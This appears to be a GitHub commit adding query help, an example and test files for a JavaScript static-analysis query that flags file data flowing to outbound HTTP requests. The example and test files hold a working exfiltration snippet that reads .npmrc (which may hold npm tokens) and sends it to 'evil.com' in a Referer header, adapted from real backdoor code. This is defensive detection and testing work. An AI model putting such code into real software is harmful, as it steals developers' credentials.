Skip to content

Commit 22502e7

Browse files
author
Max Schaefer
committed
JavaScript: Add query help for FileAccessToHttp query.
1 parent 92c1e65 commit 22502e7

File tree

4 files changed

+66
-0
lines changed

4 files changed

+66
-0
lines changed

‎javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp‎

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
<!DOCTYPE qhelp PUBLIC
2+
"-//Semmle//qhelp//EN"
3+
"qhelp.dtd">
4+
<qhelp>
5+
6+
<overview>
7+
<p>
8+
Sending local file system data to a remote URL without further
9+
validation risks uncontrolled information exposure, and may be
10+
an indication of malicious backdoor code that has been
11+
implanted into an otherwise trusted code base.
12+
</p>
13+
</overview>
14+
15+
<recommendation>
16+
<p>
17+
Examine the highlighted code closely to ensure that it is
18+
behaving as intended.
19+
</p>
20+
</recommendation>
21+
22+
<example>
23+
<p>
24+
The following example is adapted from backdoor code that was identified in two
25+
popular npm packages. It reads the contents of the <code>.npmrc</code> file
26+
(which may contain secret npm tokens) and sends it to a remote server by
27+
embedding it into an HTTP request header.
28+
</p>
29+
<sample src="examples/FileAccessToHttp.js"/>
30+
</example>
31+
32+
<references>
33+
<li>ESLint Blog: <a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes">Postmortem for Malicious Packages Published on July 12th, 2018</a>.</li>
34+
<li>OWASP: <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">Sensitive Data Exposure</a>.</li>
35+
</references>
36+
</qhelp>

‎javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
var fs = require("fs"),
2+
https = require("https");
3+
4+
var content = fs.readFileSync(".npmrc", "utf8");
5+
https.get({
6+
hostname: "evil.com",
7+
path: "/upload",
8+
method: "GET",
9+
headers: { Referer: content }
10+
}, () => { });

‎javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,9 @@
11
nodes
2+
| FileAccessToHttp.js:4:5:4:47 | content |
3+
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") |
4+
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} |
5+
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
6+
| FileAccessToHttp.js:9:23:9:29 | content |
27
| bufferRead.js:12:13:12:43 | buffer |
38
| bufferRead.js:12:22:12:43 | new Buf ... s.size) |
49
| bufferRead.js:13:53:13:52 | buffer |
@@ -53,6 +58,10 @@ nodes
5358
| sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
5459
| sentAsHeaders.js:24:47:24:53 | content |
5560
edges
61+
| FileAccessToHttp.js:4:5:4:47 | content | FileAccessToHttp.js:9:23:9:29 | content |
62+
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content |
63+
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} |
64+
| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
5665
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:53:13:52 | buffer |
5766
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer |
5867
| bufferRead.js:13:53:13:52 | buffer | bufferRead.js:15:26:15:31 | buffer |
@@ -100,6 +109,7 @@ edges
100109
| sentAsHeaders.js:24:31:24:53 | "http:/ ... content | sentAsHeaders.js:24:20:24:55 | { Refer ... ntent } |
101110
| sentAsHeaders.js:24:47:24:53 | content | sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
102111
#select
112+
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | $@ flows directly to outbound network request | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | File data |
103113
| bufferRead.js:33:21:33:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:33:21:33:28 | postData | $@ flows directly to outbound network request | bufferRead.js:12:22:12:43 | new Buf ... s.size) | File data |
104114
| googlecompiler.js:38:18:38:26 | post_data | googlecompiler.js:44:54:44:57 | data | googlecompiler.js:38:18:38:26 | post_data | $@ flows directly to outbound network request | googlecompiler.js:44:54:44:57 | data | File data |
105115
| readFileSync.js:26:18:26:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:26:18:26:18 | s | $@ flows directly to outbound network request | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | File data |

‎javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
var fs = require("fs"),
2+
https = require("https");
3+
4+
var content = fs.readFileSync(".npmrc", "utf8");
5+
https.get({
6+
hostname: "evil.com",
7+
path: "/upload",
8+
method: "GET",
9+
headers: { Referer: content }
10+
}, () => { });

0 commit comments

Comments
 (0)